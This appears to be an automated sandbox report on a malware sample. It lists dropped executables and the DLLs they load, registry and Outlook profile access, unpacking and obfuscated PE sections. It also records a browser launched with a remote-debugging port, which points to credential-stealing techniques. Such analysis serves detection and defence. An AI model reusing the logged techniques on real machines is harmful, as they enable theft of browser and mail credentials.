Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Process created: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe "C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe"	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Process created: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe "C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\GIEHIDHJDB.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2292 --field-trial-handle=2224,i,14232946858736540846,14705278479212829889,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2344 --field-trial-handle=2240,i,8471859797131499959,491410908596195355,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2248 --field-trial-handle=2016,i,11248231860674350639,8152344142954779347,262144 /prefetch:3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\GIEHIDHJDB.exe "C:\Users\user\Documents\GIEHIDHJDB.exe"
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Section loaded: winmm.dll
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Section loaded: wininet.dll
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Section loaded: mstask.dll
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Section loaded: wldp.dll
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Section loaded: mpr.dll
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Section loaded: dui70.dll
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Section loaded: duser.dll
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Section loaded: chartv.dll
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Section loaded: oleacc.dll
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Section loaded: winsta.dll
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Section loaded: textshaping.dll
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Section loaded: propsys.dll
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Section loaded: edputil.dll
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Section loaded: netutils.dll
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Section loaded: appresolver.dll
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Section loaded: slc.dll
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Section loaded: userenv.dll
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Section loaded: sppc.dll
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll

Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: V65xPrgEHH.exe

Static file information: File size 1882112 > 1048576

Source: V65xPrgEHH.exe

Static PE information: Raw size of slndhbsj is bigger than: 0x100000 < 0x1a3000

Source:	Binary string: mozglue.pdbP source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3140681811.000000006FD5D000.00000002.00000001.01000000.0000000E.sdmp, mozglue.dll.13.dr, mozglue[1].dll.13.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.13.dr, freebl3[1].dll.13.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.13.dr, freebl3[1].dll.13.dr
Source:	Binary string: nss3.pdb@ source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmp, nss3[1].dll.13.dr, nss3.dll.13.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.13.dr, softokn3.dll.13.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.13.dr, vcruntime140[1].dll.13.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.13.dr, msvcp140[1].dll.13.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe, 00000009.00000002.2606186458.0000000000662000.00000040.00000001.01000000.00000006.sdmp, KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe, 00000009.00000003.2471386157.0000000004960000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmp, nss3[1].dll.13.dr, nss3.dll.13.dr
Source:	Binary string: mozglue.pdb source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3140681811.000000006FD5D000.00000002.00000001.01000000.0000000E.sdmp, mozglue.dll.13.dr, mozglue[1].dll.13.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.13.dr, softokn3.dll.13.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Unpacked PE file: 9.2.KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe.660000.0.unpack :EW;.rsrc:W;.idata :W; :EW;fphnutar:EW;inmacesb:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Unpacked PE file: 13.2.5XYR1IZSU740RQ8S.exe.730000.0.unpack :EW;.rsrc:W;.idata :W;mtoauukx:EW;piksggks:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;mtoauukx:EW;piksggks:EW;.taggant:EW;
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Unpacked PE file: 24.2.GIEHIDHJDB.exe.c0000.0.unpack :EW;.rsrc:W;.idata :W;uuwwxspk:EW;ttgvscsy:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;uuwwxspk:EW;ttgvscsy:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 25.2.skotes.exe.240000.0.unpack :EW;.rsrc:W;.idata :W;uuwwxspk:EW;ttgvscsy:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;uuwwxspk:EW;ttgvscsy:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 26.2.skotes.exe.240000.0.unpack :EW;.rsrc:W;.idata :W;uuwwxspk:EW;ttgvscsy:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;uuwwxspk:EW;ttgvscsy:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.13.dr	Static PE information: real checksum: 0x2f56b9 should be: 0x2f4560
Source: GIEHIDHJDB.exe.13.dr	Static PE information: real checksum: 0x2f56b9 should be: 0x2f4560
Source: KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe.0.dr	Static PE information: real checksum: 0x1c1153 should be: 0x1bf548
Source: V65xPrgEHH.exe	Static PE information: real checksum: 0x1d8661 should be: 0x1da200
Source: 5XYR1IZSU740RQ8S.exe.0.dr	Static PE information: real checksum: 0x2bdddd should be: 0x2c7b21
Source: skotes.exe.24.dr	Static PE information: real checksum: 0x2f56b9 should be: 0x2f4560

Source: V65xPrgEHH.exe	Static PE information: section name:
Source: V65xPrgEHH.exe	Static PE information: section name: .idata
Source: V65xPrgEHH.exe	Static PE information: section name:
Source: V65xPrgEHH.exe	Static PE information: section name: slndhbsj
Source: V65xPrgEHH.exe	Static PE information: section name: uwdipoew
Source: V65xPrgEHH.exe	Static PE information: section name: .taggant
Source: 5XYR1IZSU740RQ8S.exe.0.dr	Static PE information: section name:
Source: 5XYR1IZSU740RQ8S.exe.0.dr	Static PE information: section name: .idata
Source: 5XYR1IZSU740RQ8S.exe.0.dr	Static PE information: section name: mtoauukx
Source: 5XYR1IZSU740RQ8S.exe.0.dr	Static PE information: section name: piksggks
Source: 5XYR1IZSU740RQ8S.exe.0.dr	Static PE information: section name: .taggant
Source: KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe.0.dr	Static PE information: section name:
Source: KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe.0.dr	Static PE information: section name: .idata
Source: KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe.0.dr	Static PE information: section name:
Source: KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe.0.dr	Static PE information: section name: fphnutar
Source: KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe.0.dr	Static PE information: section name: inmacesb
Source: KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe.0.dr	Static PE information: section name: .taggant
Source: freebl3.dll.13.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.13.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.13.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.13.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.13.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.13.dr	Static PE information: section name: .didat
Source: nss3.dll.13.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.13.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.13.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.13.dr	Static PE information: section name: .00cfg
Source: random[1].exe.13.dr	Static PE information: section name:
Source: random[1].exe.13.dr	Static PE information: section name: .idata
Source: random[1].exe.13.dr	Static PE information: section name: uuwwxspk
Source: random[1].exe.13.dr	Static PE information: section name: ttgvscsy
Source: random[1].exe.13.dr	Static PE information: section name: .taggant
Source: GIEHIDHJDB.exe.13.dr	Static PE information: section name:
Source: GIEHIDHJDB.exe.13.dr	Static PE information: section name: .idata
Source: GIEHIDHJDB.exe.13.dr	Static PE information: section name: uuwwxspk
Source: GIEHIDHJDB.exe.13.dr	Static PE information: section name: ttgvscsy
Source: GIEHIDHJDB.exe.13.dr	Static PE information: section name: .taggant
Source: skotes.exe.24.dr	Static PE information: section name:
Source: skotes.exe.24.dr	Static PE information: section name: .idata
Source: skotes.exe.24.dr	Static PE information: section name: uuwwxspk
Source: skotes.exe.24.dr	Static PE information: section name: ttgvscsy
Source: skotes.exe.24.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Code function: 0_3_01199644 push cs; retf	0_3_01199692
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Code function: 0_3_01199644 push cs; retf	0_3_01199692
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Code function: 0_3_01199644 push cs; retf	0_3_01199692
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Code function: 0_3_011352F4 push eax; retf	0_3_011352F5
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Code function: 0_3_0113CE6E pushad ; iretd	0_3_0113CF65
